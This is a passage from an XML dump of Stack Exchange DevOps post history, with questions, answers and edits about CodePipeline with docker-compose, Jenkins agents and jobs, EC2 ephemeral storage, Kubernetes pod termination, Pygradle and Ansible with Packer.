&quot;./package.json:/client/package.json&quot;&#xD;&#xA;              - &quot;./node_modules:/client/node_modules&quot;&#xD;&#xA;            environment:&#xD;&#xA;              - API_URL=${API_URL}&#xD;&#xA;            working_dir: /client&#xD;&#xA;            command: npm run dev -- -p 3001&#xD;&#xA;&#xD;&#xA;which I want to deploy to AWS Elasticbeanstalk using CodePipeline. As I don't have any build step (thus no Dockerfile) I'm wondering how to instruct my `buildspec.yml` &#xD;&#xA;&#xD;&#xA;        version: 0.2&#xD;&#xA;&#xD;&#xA;        phases:&#xD;&#xA;          install:&#xD;&#xA;            commands:&#xD;&#xA;              - echo starting on `date`&#xD;&#xA;              - npm install&#xD;&#xA;          pre_build:&#xD;&#xA;            commands:&#xD;&#xA;              - cp .env.example .env&#xD;&#xA;          build:&#xD;&#xA;            commands:&#xD;&#xA;              - docker-compose up -d&#xD;&#xA;&#xD;&#xA;          post_build:&#xD;&#xA;            commands:&#xD;&#xA;              - echo completing on `date`&#xD;&#xA;&#xD;&#xA;to properly build using docker-compose?&#xD;&#xA;&#xD;&#xA;I believe I just need a [`Dockerrun.aws.json` file](https://gist.github.com/altras/9b0fbd6ba39b2de0e83332c4e17f0d0c) although CodePipeline is expecting some build artifact:&#xD;&#xA;&#xD;&#xA;[![AWS CodePipeline staging step wants a build artifact][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/71kVz.png&#xD;&#xA;&#xD;&#xA;How did you solve this in your scenario?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10737" PostHistoryTypeId="2" PostId="3430" RevisionGUID="291257b9-0558-4258-a310-9426552eee55" CreationDate="2018-02-24T13:31:44.360" UserId="3" Text="There is a [`hub` utility][1] from GitHub which extend your git with extra features and commands. This includes creating the releases on the GitHub.&#xD;&#xA;&#xD;&#xA;    $ hub release --help&#xD;&#xA;    usage: git release&#xD;&#xA;       or: git release create [-d] [-p] [-a &lt;ASSETS_FILE&gt;] [-m &lt;MESSAGE&gt;|-f &lt;FILE&gt;] &lt;TAG&gt;&#xD;&#xA;    Retrieves releases from GitHub for the project that the &quot;origin&quot; remote points to.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/github/hub" ContentLicense="CC BY-SA 3.0" />
  <row Id="10738" PostHistoryTypeId="4" PostId="3089" RevisionGUID="dbf2f1b7-5b17-4564-8a05-575a552e1992" CreationDate="2018-02-24T13:32:37.700" UserId="3" Comment="Improves post title." Text="How to automatically publish git releases/comments to the site?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10739" PostHistoryTypeId="50" PostId="1533" RevisionGUID="0e9636a4-220f-4d88-8632-8f0fddbcfd80" CreationDate="2018-02-24T13:38:15.653" UserId="-1" />
  <row Id="10740" PostHistoryTypeId="50" PostId="1193" RevisionGUID="a12e0e20-a005-4825-a1f3-eae00e79f93e" CreationDate="2018-02-24T14:38:51.307" UserId="-1" />
  <row Id="10741" PostHistoryTypeId="36" PostId="3431" RevisionGUID="25fc911e-bfa9-44c8-9591-ad062fe0bb95" CreationDate="2018-02-24T15:45:36.193" UserId="-1" Comment="from https://sqa.stackexchange.com/questions/32206/multi-jobs-over-local-intellij-and-jenkins" />
  <row Id="10742" PostHistoryTypeId="36" PostId="3432" RevisionGUID="a713fc4b-4925-4dc0-9ec4-9f81a58f9830" CreationDate="2018-02-24T15:45:36.193" UserId="-1" Comment="from https://sqa.stackexchange.com/questions/32206/multi-jobs-over-local-intellij-and-jenkins/32209#32209" />
  <row Id="10743" PostHistoryTypeId="2" PostId="3432" RevisionGUID="1db1d24a-d264-4667-9ec5-62912188df58" CreationDate="2018-02-21T11:49:10.070" UserId="6612" Text="You can check out [this](https://wiki.jenkins.io/display/JENKINS/Multijob+Plugin) **MultiJob** plugin for Jenkins. Or if its the same job you want to run in different configuration you can make use of Multi-configuration job type in Jenkins.&#xD;&#xA;&#xD;&#xA;I have tried searching for JUnit5 supporting multi jobs scenario as specified didn't find any decent information on the same. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10744" PostHistoryTypeId="2" PostId="3431" RevisionGUID="7c930a63-5001-4fa8-86c8-de5cc874267f" CreationDate="2018-02-21T10:00:05.723" UserDisplayName="G.Guy" Text="I have to build a way for my tests to work with multi jobs over any platform using IntelliJ and Jenkins&#xD;&#xA;&#xD;&#xA;I have heard that I can do this with JUnit 5. I have not been able to find any references about this. &#xD;&#xA;&#xD;&#xA;Can someone with experience in setting up multi jobs in Jenkins point me to some good references?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10745" PostHistoryTypeId="1" PostId="3431" RevisionGUID="7c930a63-5001-4fa8-86c8-de5cc874267f" CreationDate="2018-02-21T10:00:05.723" UserDisplayName="G.Guy" Text="Multi jobs over local (IntelliJ) and Jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="10746" PostHistoryTypeId="3" PostId="3431" RevisionGUID="7c930a63-5001-4fa8-86c8-de5cc874267f" CreationDate="2018-02-21T10:00:05.723" UserDisplayName="G.Guy" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10747" PostHistoryTypeId="50" PostId="1422" RevisionGUID="11756a25-758c-4083-962f-0190dc2d9025" CreationDate="2018-02-24T16:43:24.520" UserId="-1" />
  <row Id="10748" PostHistoryTypeId="2" PostId="3433" RevisionGUID="7b2f1bb9-6b51-49ad-8cad-c798ef9e8278" CreationDate="2018-02-24T16:45:33.900" UserId="3" Text="I've got [ephemeral storage][1] setup in *Scalr* as part of the role. The instance is spinned up by *Chef* and it seems it is running fine (it's using `ephemeral0` device mounted as `D:` drive).&#xD;&#xA;&#xD;&#xA;I've tried to use `aws ec2 describe-instances` command, but here is no any indication that the ephemeral device is attached to the instance (unless I don't know what I'm looking for).&#xD;&#xA;&#xD;&#xA;How I can access ephemeral storages of the running instances using via AWS CLI/API?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/InstanceStorage.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10749" PostHistoryTypeId="1" PostId="3433" RevisionGUID="7b2f1bb9-6b51-49ad-8cad-c798ef9e8278" CreationDate="2018-02-24T16:45:33.900" UserId="3" Text="How to access ephemeral storage of EC2 instance?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10750" PostHistoryTypeId="3" PostId="3433" RevisionGUID="7b2f1bb9-6b51-49ad-8cad-c798ef9e8278" CreationDate="2018-02-24T16:45:33.900" UserId="3" Text="&lt;aws-cli&gt;&lt;scalr&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10751" PostHistoryTypeId="2" PostId="3434" RevisionGUID="6d841771-30db-4a29-8c1d-509ad82cd7f9" CreationDate="2018-02-24T16:47:55.757" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="10752" PostHistoryTypeId="1" PostId="3434" RevisionGUID="6d841771-30db-4a29-8c1d-509ad82cd7f9" CreationDate="2018-02-24T16:47:55.757" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10753" PostHistoryTypeId="2" PostId="3435" RevisionGUID="71580ccb-ce0a-4f15-a1ac-600e457b1727" CreationDate="2018-02-24T16:47:55.757" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="10754" PostHistoryTypeId="1" PostId="3435" RevisionGUID="71580ccb-ce0a-4f15-a1ac-600e457b1727" CreationDate="2018-02-24T16:47:55.757" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10755" PostHistoryTypeId="2" PostId="3436" RevisionGUID="f6fc4962-86d6-48ae-bc64-882a1741fc6e" CreationDate="2018-02-24T21:25:28.450" UserId="6153" Text="I'm trying to figure out the proper way to get build environments into a CI pipeline.&#xD;&#xA;&#xD;&#xA;What I want to achieve is:&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA; 1. someone pushes to the docker source repo (not registry, a repo with the docker folder)&#xD;&#xA; 2. jenkins kicks off a build of that docker image&#xD;&#xA; 3. if successful docker then goes and runs a software build using the newly built docker image&#xD;&#xA; 4. if successful the docker image is tagged and pushed to the docker registry&#xD;&#xA;&#xD;&#xA;All I have so far is a Jenkins file that has four stages&#xD;&#xA;&#xD;&#xA; 1. checks out out docker source repo&#xD;&#xA; 2. builds docker image from source&#xD;&#xA; 3. Checks out software source code (code that builds in the docker environment)&#xD;&#xA; 4. builds software source code in docker container&#xD;&#xA; 5. If successful tags and pushes new image to docker registery&#xD;&#xA;&#xD;&#xA;My main concern is everything I'm doing is going to be in the 'script' blocks, except the git checkouts, and it feels super hacky to be building and kicking off docker builds with jenkins using bash...&#xD;&#xA;&#xD;&#xA;are there any tools/already defined procedures to do things like this?  Is this the best way to do it?  I am looking for a best practice approach as this will be put into production and I want it to be as resilient and long lasting as possible." ContentLicense="CC BY-SA 3.0" />
  <row Id="10756" PostHistoryTypeId="1" PostId="3436" RevisionGUID="f6fc4962-86d6-48ae-bc64-882a1741fc6e" CreationDate="2018-02-24T21:25:28.450" UserId="6153" Text="Using Jenkins to control docker image build flow" ContentLicense="CC BY-SA 3.0" />
  <row Id="10757" PostHistoryTypeId="3" PostId="3436" RevisionGUID="f6fc4962-86d6-48ae-bc64-882a1741fc6e" CreationDate="2018-02-24T21:25:28.450" UserId="6153" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10758" PostHistoryTypeId="2" PostId="3437" RevisionGUID="43ad2a25-aeda-4471-927e-2411dea7bec8" CreationDate="2018-02-25T04:15:59.417" UserId="6579" Text="Jenkins provides the agent.jar, and secret required to make a connection from the node to the master. Make sure the node is configured properly (Manage Jenkins -&gt; Manage Nodes -&gt; Node)&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1] &#xD;&#xA;&#xD;&#xA;Ensure Java 1.8 is present on the Windows agent. Download the agent.jar file on the windows machine and run the command Jenkins provides using Windows command prompt. &#xD;&#xA; &#xD;&#xA;    java -jar agent.jar -jnlpUrl http://localhost:8080/computer/example/slave-agent.jnlp -secret e6073ce49423ed54df4a24f918973f50dc760dd440013d3b30403c4a2c7501fd -workDir &quot;c:\jenkins&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/lkkp4.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10759" PostHistoryTypeId="50" PostId="1517" RevisionGUID="a3dd64b9-3351-4040-b569-9d7071b60ab7" CreationDate="2018-02-25T05:48:09.997" UserId="-1" />
  <row Id="10760" PostHistoryTypeId="2" PostId="3438" RevisionGUID="a5808c72-b006-4cf8-b6f7-deb1e82726c6" CreationDate="2018-02-25T08:12:43.343" UserId="47" Text="Since you're talking about CI/CD I presume you have the possibility to automate the model trainings in those configurations. Let's call the scripts able to do that `train_model_config_A`, `train_model_config_B`, etc.&#xD;&#xA;&#xD;&#xA;Then you could have a wrapper script which checks an environment variable used to select which client environment you desire and invokes the corresponding `train_model_config_&lt;blah&gt;` script. Ideally translating the outcome of the training (whatever that is) into one or more results of the pass/fail type. Then such wrapper script can be integrated in a CI/CD pipeline like a custom test step/stage (or even a build one, if it produces any artifacts you might want to archive). Just like any test executed on a testbed incorporating some non-generic piece of hardware. In other words the CPU cluster makes no real difference.&#xD;&#xA;&#xD;&#xA;You might not need to install the slave directly on the GPU cluster if the `train_model_config_&lt;blah&gt;` scripts (and thus the wrapper script as well) can be executed on some other hosts and remotely control the GPUs - you can then have the slave on some other host, leaving the GPU cluster free to only do its stuff." ContentLicense="CC BY-SA 3.0" />
  <row Id="10761" PostHistoryTypeId="2" PostId="3439" RevisionGUID="f62f9a64-0be4-4c51-a94d-0d36110070bb" CreationDate="2018-02-25T08:53:42.520" UserId="47" Text="Side note: personally I dislike using a *minimum* version: you never know beforehand how the language will evolve and if a certain future version will still be compatible with your code. For example many 2.7-compatible scripts can't actually work with python 3.X, setting 2.7 as the minimum version won't cut it.&#xD;&#xA;&#xD;&#xA;I prefer to explicitly list as allowed the (existing) versions that I can test and confirm to be compatible. Any future version can be added later on, after such confirmation is obtained.&#xD;&#xA;&#xD;&#xA;If you agree with the above then the [`com.linkedin.python`][1] plugin can apparently perform such version checks (it doesn't looks like it supports a *minimum* version):&#xD;&#xA;&#xD;&#xA;&gt; **Default and allowed Python version**&#xD;&#xA;&gt; &#xD;&#xA;&gt; This plugin enforces a set of default and allowed Python versions. For&#xD;&#xA;&gt; example, you can specify `pythonVersion = '3'` and you will get&#xD;&#xA;&gt; whatever the default Python 3 version is. Similarly `pythonVersion =&#xD;&#xA;&gt; '2'` gets you whatever the default Python 2 version is.&#xD;&#xA;&gt; &#xD;&#xA;&gt; This plugin also enforces a set of allowed Python versions. If you&#xD;&#xA;&gt; choose a Python version that is not allowed, you will see an error&#xD;&#xA;&gt; messages such as:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Python 3.2 not allowed; choose from [2.6, 2.7, 3.4, 3.5, 3.6]&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you see this error message, you must adjust your `pythonVersion`&#xD;&#xA;&gt; setting to one of the allowed values.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Consumers of this extension can change the default Python 2, Python 3,&#xD;&#xA;&gt; and allowed versions by making a call on the `PythonDetails` object,&#xD;&#xA;&gt; either the one returned by `PythonExtension.getDetails()` or on any&#xD;&#xA;&gt; `PythonDetails` instance you create, e.g. in Groovy:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     pythonDetails.setPythonDefaultVersions('2.7', '3.6', ['2.7', '3.5', '3.6'])&#xD;&#xA;&#xD;&#xA;But I'm not familiar with pygradle, I can't really tell exactly how the plugin works and/or is configured to do the job.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/linkedin/pygradle/blob/master/docs/plugins/python.md" ContentLicense="CC BY-SA 3.0" />
  <row Id="10762" PostHistoryTypeId="5" PostId="3435" RevisionGUID="cae260de-6f60-46e7-9bee-57c44bde208e" CreationDate="2018-02-25T08:56:01.167" UserId="3" Comment="added 129 characters in body" Text="Cloud management platform that enables cost-effective, automated and standardized applications deployments on cloud environments." ContentLicense="CC BY-SA 3.0" />
  <row Id="10763" PostHistoryTypeId="24" PostId="3435" RevisionGUID="cae260de-6f60-46e7-9bee-57c44bde208e" CreationDate="2018-02-25T08:56:01.167" Comment="Proposed by 3 approved by 40, 47 edit id of 628" ContentLicense="CC BY-SA 3.0" />
  <row Id="10764" PostHistoryTypeId="5" PostId="3434" RevisionGUID="b572db79-0f5b-4420-b4fb-9b5602d488d9" CreationDate="2018-02-25T08:57:14.347" UserId="3" Comment="added 32 characters in body" Text="Homepage: https://www.scalr.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10765" PostHistoryTypeId="24" PostId="3434" RevisionGUID="b572db79-0f5b-4420-b4fb-9b5602d488d9" CreationDate="2018-02-25T08:57:14.347" Comment="Proposed by 3 approved by 40, 47 edit id of 627" ContentLicense="CC BY-SA 3.0" />
  <row Id="10766" PostHistoryTypeId="2" PostId="3440" RevisionGUID="dff779bf-70e8-4379-acc5-965b2c922e1d" CreationDate="2018-02-25T09:10:50.813" UserId="6" Text="You are correct that the `describe-instances` API doesn't include information about ephemeral volumes. Once an instance is created, the only way to know that it has such volumes is available from the metadata service that is accessible from the instance itself.&#xD;&#xA;&#xD;&#xA;According to https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/block-device-mapping-concepts.html#bdm-instance-metadata the mapped ephemeral volumes are shown in [instance metadata][1].&#xD;&#xA;&#xD;&#xA;Since you created the instances using Chef, another option would be to check the Chef state database - most probably the information about a created instance includes the ephemeral device information. But this method highly depends on your Chef version and the cookbook you use to create the instances, so YMMV.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10767" PostHistoryTypeId="5" PostId="3150" RevisionGUID="2f3223e9-91ef-47f1-8dbf-66c799c3fa76" CreationDate="2018-02-25T09:51:32.787" UserId="210" Comment="deleted 20 characters in body" Text="[Pygradle][1] is used to build a python project.&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;The problem is that the CI runs a different Python version, resulting in different build outcomes, e.g. the build succeeded on the laptop, but failed on CI.&#xD;&#xA;&#xD;&#xA;*CI*&#xD;&#xA;&#xD;&#xA;    ============================= test session starts ==============================&#xD;&#xA;    platform linux -- Python 3.6.3, pytest-2.9.1, py-1.4.29, pluggy-0.3.1&#xD;&#xA;    rootdir: /home/travis/build/user/project, inifile: &#xD;&#xA;    plugins: cov-2.2.1&#xD;&#xA;    collected 1 items&#xD;&#xA;&#xD;&#xA;*Laptop*&#xD;&#xA;&#xD;&#xA;    ============================= test session starts ==============================&#xD;&#xA;    platform linux2 -- Python 2.7.5, pytest-2.9.1, py-1.4.29, pluggy-0.3.1&#xD;&#xA;    rootdir: /home/user/dev/project, inifile: &#xD;&#xA;    plugins: cov-2.2.1&#xD;&#xA;    collected 1 items&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;To ensure that the build fails both locally on CI and on the laptop, the same python version should be used.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Is it possible to set a minimum Python version in Pygradle?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/linkedin/pygradle" ContentLicense="CC BY-SA 3.0" />
  <row Id="10768" PostHistoryTypeId="5" PostId="3375" RevisionGUID="1bbdfa8a-cf32-4857-adb7-dfb573f120f2" CreationDate="2018-02-25T09:58:40.030" UserId="210" Comment="added 202 characters in body" Text="How to get the latest version of firefox? [This URL][1] was found, but is there no API? I would like to get the latest version, e.g. `58.0.2` so this could be used for other purposes. Just `latest` is insufficient as I require the version in one of my ansible roles to lookup the checksum.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.mozilla.org/en-US/firefox/releases/&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;At the moment I am considering to parse https://www.mozilla.org/en-US/firefox/releases/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10769" PostHistoryTypeId="50" PostId="3199" RevisionGUID="21d1f0ed-b4ac-4628-8f90-2ce6e8eef13c" CreationDate="2018-02-25T13:58:16.420" UserId="-1" />
  <row Id="10771" PostHistoryTypeId="6" PostId="3433" RevisionGUID="76ee6448-bd82-459b-993a-58a6dd3e0599" CreationDate="2018-02-25T15:48:37.683" UserId="3" Comment="edited tags" Text="&lt;chef&gt;&lt;aws-cli&gt;&lt;scalr&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10772" PostHistoryTypeId="2" PostId="3442" RevisionGUID="285583e4-a814-4d26-a3ca-6928653f17f1" CreationDate="2018-02-25T16:46:14.100" UserId="4613" Text="There is supposed to be a [way][1] to trigger a Jenkins job via GitlabCi, using the respective plugin.&#xD;&#xA;&#xD;&#xA;My question is whether there is a way:&#xD;&#xA;&#xD;&#xA;a) to trigger a parameterized Jenkins job&#xD;&#xA;&#xD;&#xA;b) to pass parameters when triggering the job&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/integration/jenkins.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10773" PostHistoryTypeId="1" PostId="3442" RevisionGUID="285583e4-a814-4d26-a3ca-6928653f17f1" CreationDate="2018-02-25T16:46:14.100" UserId="4613" Text="Trigger Jenkins job from Gitlab CI with parameters" ContentLicense="CC BY-SA 3.0" />
  <row Id="10774" PostHistoryTypeId="3" PostId="3442" RevisionGUID="285583e4-a814-4d26-a3ca-6928653f17f1" CreationDate="2018-02-25T16:46:14.100" UserId="4613" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10775" PostHistoryTypeId="50" PostId="3200" RevisionGUID="cd53d9ad-3c4f-4e08-a7aa-56f2370b083a" CreationDate="2018-02-25T16:58:24.757" UserId="-1" />
  <row Id="10776" PostHistoryTypeId="2" PostId="3443" RevisionGUID="22b54ec8-9b0b-49b4-b6eb-c69d4d2e13b5" CreationDate="2018-02-25T17:31:19.217" UserId="210" Text="There is an ansible role that installs jdk8, but is incompatible with jdk9. The role parses a couple of html pages and the commands are incompatible with java9. It was quite hard to make it work for jdk9, and now the PR is broken for jdk8.&#xD;&#xA;&#xD;&#xA;https://github.com/ansiblebit/oracle-java/issues/63&#xD;&#xA;&#xD;&#xA;In order to prevent that a lot of work has to be done over and over again, it would be great if there is an API that shows the latest jdk version. Then this version could be used in the ansible role and then this will be more stable." ContentLicense="CC BY-SA 3.0" />
  <row Id="10777" PostHistoryTypeId="1" PostId="3443" RevisionGUID="22b54ec8-9b0b-49b4-b6eb-c69d4d2e13b5" CreationDate="2018-02-25T17:31:19.217" UserId="210" Text="Does Oracle have an API that shows the latest stable JDK version?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10778" PostHistoryTypeId="3" PostId="3443" RevisionGUID="22b54ec8-9b0b-49b4-b6eb-c69d4d2e13b5" CreationDate="2018-02-25T17:31:19.217" UserId="210" Text="&lt;automation&gt;&lt;oracle-jdk&gt;&lt;api&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10779" PostHistoryTypeId="6" PostId="3375" RevisionGUID="46554705-66a5-4cdc-9a9f-1b6fd9da1d8b" CreationDate="2018-02-25T17:33:08.023" UserId="210" Comment="edited tags" Text="&lt;automation&gt;&lt;api&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10780" PostHistoryTypeId="6" PostId="3262" RevisionGUID="77f48566-566a-4be6-82ab-0afb18f1b714" CreationDate="2018-02-25T17:34:51.023" UserId="210" Comment="edited tags" Text="&lt;automation&gt;&lt;tomcat&gt;&lt;api&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10782" PostHistoryTypeId="2" PostId="3444" RevisionGUID="df542e95-1086-46cb-aaae-70bfb776f0c2" CreationDate="2018-02-25T17:41:14.623" UserId="2" Text="I have a k8s deployment that I update by doing `kubectl apply -f spec.yml`. I use the default update strategy.&#xD;&#xA;&#xD;&#xA;Whenever I update, new pods get created and the old ones **eventually** get deleted.&#xD;&#xA;&#xD;&#xA;This is what `kubectl get pods` looks like a few seconds after calling `apply`:&#xD;&#xA;&#xD;&#xA;    NAME                      READY     STATUS        RESTARTS   AGE&#xD;&#xA;    server-243710380-7s7g0    1/1       Terminating   0          9m&#xD;&#xA;    server-243710380-ffzv1    1/1       Terminating   0          9m&#xD;&#xA;    server-243710380-gfs3h    1/1       Terminating   0          9m&#xD;&#xA;    server-3561703442-24dxm   1/1       Running       0          13s&#xD;&#xA;    server-3561703442-7jlds   1/1       Running       0          8s&#xD;&#xA;    server-3561703442-x5xw1   1/1       Running       0          11s&#xD;&#xA;&#xD;&#xA;As you can see, the ones in `Terminating` status hang around, typically for about 30 seconds, before really disappearing. This happens despite the new pods reaching `running` status within a few seconds.&#xD;&#xA;&#xD;&#xA;How can I control the time the old pods remain in `terminating` status? Specifically, I want them to terminate as quickly as possible.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10783" PostHistoryTypeId="1" PostId="3444" RevisionGUID="df542e95-1086-46cb-aaae-70bfb776f0c2" CreationDate="2018-02-25T17:41:14.623" UserId="2" Text="how to control pod termination speed in kubernetes" ContentLicense="CC BY-SA 3.0" />
  <row Id="10784" PostHistoryTypeId="3" PostId="3444" RevisionGUID="df542e95-1086-46cb-aaae-70bfb776f0c2" CreationDate="2018-02-25T17:41:14.623" UserId="2" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10785" PostHistoryTypeId="2" PostId="3445" RevisionGUID="e342ea17-2915-4bca-a1e1-5db0f3413146" CreationDate="2018-02-25T18:15:17.130" UserId="6634" Text="It appears to me that you are trying to run ansible locally **inside** the container but instead you are running it locally on the machine you use to run packer on(the provisioning one).&#xD;&#xA;&#xD;&#xA;To run ansible in [local mode][1] you need to update the ansible part of your packer file to:&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;            &quot;type&quot;: &quot;ansible-local&quot;,&#xD;&#xA;            &quot;playbook_file&quot;: &quot;./kubeadm.yml&quot;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;Also, I would suggest to add `connection: local` to your ansible playbook, to avoid unnecessary attempts for ssh connections.&#xD;&#xA;&#xD;&#xA;    - name: install kubeadm&#xD;&#xA;      hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      roles:&#xD;&#xA;        - { role: djx339.k8s-kubeadm-install }&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/docs/provisioners/ansible-local.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10786" PostHistoryTypeId="2" PostId="3446" RevisionGUID="d549f6a4-8afb-4f03-b11a-7c85638de305" CreationDate="2018-02-25T18:22:12.193" UserId="5856" Text="There is a default grace period for pod termination of 30 seconds. See: https://kubernetes.io/docs/concepts/workloads/pods/pod/#termination-of-pods.&#xD;&#xA;&#xD;&#xA;You can customize the grace period setting `terminationGracePeriodSeconds` at the pod spec level." ContentLicense="CC BY-SA 3.0" />
  <row Id="10787" PostHistoryTypeId="5" PostId="3445" RevisionGUID="d662ed66-ab87-4c07-aa69-437ade3f6183" CreationDate="2018-02-25T19:14:43.147" UserId="6634" Comment="deleted 6 characters in body" Text="It appears that you are trying to run ansible locally **inside** the container but instead you are running it locally on the machine you use to run packer on(the provisioning one).&#xD;&#xA;&#xD;&#xA;To run ansible in [local mode][1] you need to update the ansible part of your packer file to:&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;            &quot;type&quot;: &quot;ansible-local&quot;,&#xD;&#xA;            &quot;playbook_file&quot;: &quot;./kubeadm.yml&quot;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;Also, I would suggest to add `connection: local` to your ansible playbook, to avoid unnecessary attempts for ssh connections.&#xD;&#xA;&#xD;&#xA;    - name: install kubeadm&#xD;&#xA;      hosts: localhost&#xD;&#xA;      connection: local&#xD;&#xA;      roles:&#xD;&#xA;        - { role: djx339.k8s-kubeadm-install }&#xD;&#xA;&#xD;&#xA;  [1]: https://www.packer.io/docs/provisioners/ansible-local.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10788" PostHistoryTypeId="5" PostId="3203" RevisionGUID="0ed0eb35-76e7-4daf-a99b-60ba9b726fda" CreationDate="2018-02-25T19:37:30.983" UserId="6453" Comment="Fixed spelling" Text="In general a [tag:platform-as-a-service] solution runs the application code on top of a provider-supplied sandbox infrastructure which complements your app code so that together they implement the complete app functionality. But this puts specific requirements (often quite restrictive) in front of the application code, for example:&#xD;&#xA;&#xD;&#xA;- a limited choice of (typically high-level) programming languages&#xD;&#xA;- certain pieces of mandatory functionality in your app code (like health checks, etc)&#xD;&#xA;- certain limitations of what the app can do (for example not allowing writes to the local filesystem)&#xD;&#xA;&#xD;&#xA;So when looking for a [tag:platform-as-a-service] solution you need to be looking from both the app perspective and the sandbox perspective.&#xD;&#xA;&#xD;&#xA;Now your case brings additional requirements to the game: &#xD;&#xA;&#xD;&#xA;- running a 3rd party app which you cannot modify, so you need to find a PaaS offering whose requirements are met with the application as-is, unmodified&#xD;&#xA;- a Windows-based sandbox - rare, most providers use open-source infrastructure, I suspect primarily because of the licensing terms. Your highest chance of finding such offering would be on Azure, but not necessarily the only one&#xD;&#xA;- AE licensing terms - how many AE instances can you run?&#xD;&#xA;&#xD;&#xA;Due to the extra requirement on the sandbox a [tag:infrastructure-as-a-service] solution would be, IMHO, a better fit for your case (you're actually using it presently, maybe just scaling it would be a much simpler solution for you?).&#xD;&#xA;&#xD;&#xA;AFAIK the only offering (outside of Azure, with which I'm not familiar) that comes very close to an [tag:infrastructure-as-a-service] but still is, in a way, a [tag:platform-as-a-service] is [Google App Engine Flexible Environment][1]:&#xD;&#xA;&#xD;&#xA;- meeting the app requirements *might* be possible by actually writing an app implementing a rendering service which uses AE under the hood, as a dependency&#xD;&#xA;- it supports (docker-based) [custom runtimes][2], you *might* be able to build one with AE/Windows (maybe [how it's done for `ASP.NET` apps][3] would help) &#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/appengine/docs/flexible/&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/flexible/custom-runtimes/build&#xD;&#xA;  [3]: https://cloudplatform.googleblog.com/2016/10/how-to-use-Docker-to-run-ASP.NET-Core-apps-on-Google-App-Engine.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10789" PostHistoryTypeId="24" PostId="3203" RevisionGUID="0ed0eb35-76e7-4daf-a99b-60ba9b726fda" CreationDate="2018-02-25T19:37:30.983" Comment="Proposed by 6453 approved by 40, 47 edit id of 629" ContentLicense="CC BY-SA 3.0" />
  <row Id="10790" PostHistoryTypeId="4" PostId="3418" RevisionGUID="aac2b5e1-0335-41b6-ae4f-6e514a4c04d7" CreationDate="2018-02-25T19:39:22.183" UserId="3" Comment="edited title" Text="Ansible Remote provisioning not working in Docker container build" ContentLicense="CC BY-SA 3.0" />
